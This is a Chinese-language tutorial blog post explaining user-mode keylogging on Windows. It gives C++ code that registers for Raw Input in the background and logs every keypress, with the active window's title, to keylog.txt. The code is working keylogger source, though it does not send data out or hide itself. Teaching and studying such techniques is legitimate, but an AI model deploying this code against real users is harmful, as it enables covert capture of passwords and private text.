按键记录——利用原始输入模型

Posted ndyxb

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了按键记录——利用原始输入模型相关的知识,希望对你有一定的参考价值。

前言:

  在用户层上,实现按键记录的方法也很多,常见的有3种方式,具体如下:

    • 利用全局键盘钩子。程序设置全局键盘钩子,从而捕获按键消息,进行记录
    • 利用GetAsyncKeyState函数。该函数可以判断按键状态,根据是否为按下状态来判断用户是否进行了按键操作,从而记录
    • 利用原始输入模型,直接从输入设备上获取数据,从而记录按键信息

  在上述3种实现方法中,利用原始输入模型获取按键记录的方法更为底层更有效,功能也更加强大。下面就使用这种方法,默认情况下,应用程序不接收原始输入。要想接收设备原始输入WM_INPUT的消息,应用程序必须使用RegisterRawInputDevices注册原始输入设备

实现过程:

  (1).调用RegisterRawInputDevices注册原始输入设备

  (2).获取原始输入数据

  (3).保存按键信息

实现代码:

// 注册原始输入设备
BOOL CFunction::Init(HWND hWnd)
{
    // 设置 RAWINPUTDEVICE 结构体信息
    RAWINPUTDEVICE rawinputDevice = { 0 };
    rawinputDevice.usUsagePage = 0x01;
    rawinputDevice.usUsage = 0x06;
    rawinputDevice.dwFlags = RIDEV_INPUTSINK;
    rawinputDevice.hwndTarget = hWnd;
    // 注册原始输入设备
    BOOL bRet = ::RegisterRawInputDevices(&rawinputDevice, 1, sizeof(rawinputDevice));
    if (FALSE == bRet)
    {
        MessageBox(_T("RegisterRawInputDevices Error"));
        return FALSE;
    }
    return TRUE;
}

void CFunction::OnRawInput(UINT nInputcode, HRAWINPUT hRawInput)
{
    // 该功能要求使用 Windows XP 或更高版本。
    // 符号 _WIN32_WINNT 必须 >= 0x0501。
    // TODO: 在此添加消息处理程序代码和/或调用默认值
    GetData(hRawInput);

    CDialogEx::OnRawInput(nInputcode, hRawInput);
}

// 获取原始输入数据
BOOL CFunction::GetData(HRAWINPUT lParam)
{
    RAWINPUT rawinputData = { 0 };
    UINT uiSize = sizeof(rawinputData);
    // 获取原始输入数据的大小
    ::GetRawInputData(lParam, RID_INPUT, &rawinputData, &uiSize, sizeof(RAWINPUTHEADER));
    //如果是键盘的原始输入
    if (RIM_TYPEKEYBOARD == rawinputData.header.dwType)
    {
        // WM_KEYDOWN --> 普通按键    WM_SYSKEYDOWN --> 系统按键(指的是ALT)  
        if ((WM_KEYDOWN == rawinputData.data.keyboard.Message) ||
            (WM_SYSKEYDOWN == rawinputData.data.keyboard.Message))
        {
            // 记录按键
            SaveKey(rawinputData.data.keyboard.VKey);
        }
    }
    return TRUE;
}

// 保存按键信息
void CFunction::SaveKey(USHORT usVKey)
{
    char szKey[MAX_PATH] = { 0 };
    char szTitle[MAX_PATH] = { 0 };
    char szText[MAX_PATH] = { 0 };
    FILE *fp = NULL;

    // 获取顶层窗口
    HWND hForegroundWnd = ::GetForegroundWindow();

    // 获取顶层窗口的标题
    ::GetWindowTextA(hForegroundWnd, szTitle, 256);

    // 将虚拟键码转换成对应的ASCII码
    ::strcpy_s(szKey, GetKeyName(usVKey));

    // 构造按键记录信息字符串
    ::sprintf_s(szText, "[%s] %s
", szTitle, szKey);

    // 打开文件写入按键记录数据
    ::fopen_s(&fp, "keylog.txt", "a+");

    if (NULL == fp)
    {
        MessageBox(_T("fopen_s"));
        return;
    }

    ::fwrite(szText, (1 + ::strlen(szText)), 1, fp);
    ::fclose(fp);
}

 

以上是关于按键记录——利用原始输入模型的主要内容,如果未能解决你的问题,请参考以下文章

利用Proteus仿真STM32实现按键控制LED灯设计

AJAX相关JS代码片段和部分浏览器模型

Swift新async/await并发中利用Task防止指定代码片段执行的数据竞争(Data Race)问题

Swift新async/await并发中利用Task防止指定代码片段执行的数据竞争(Data Race)问题

超实用的php代码片段

怎样在 LaTeX 中输入特殊的法文字母?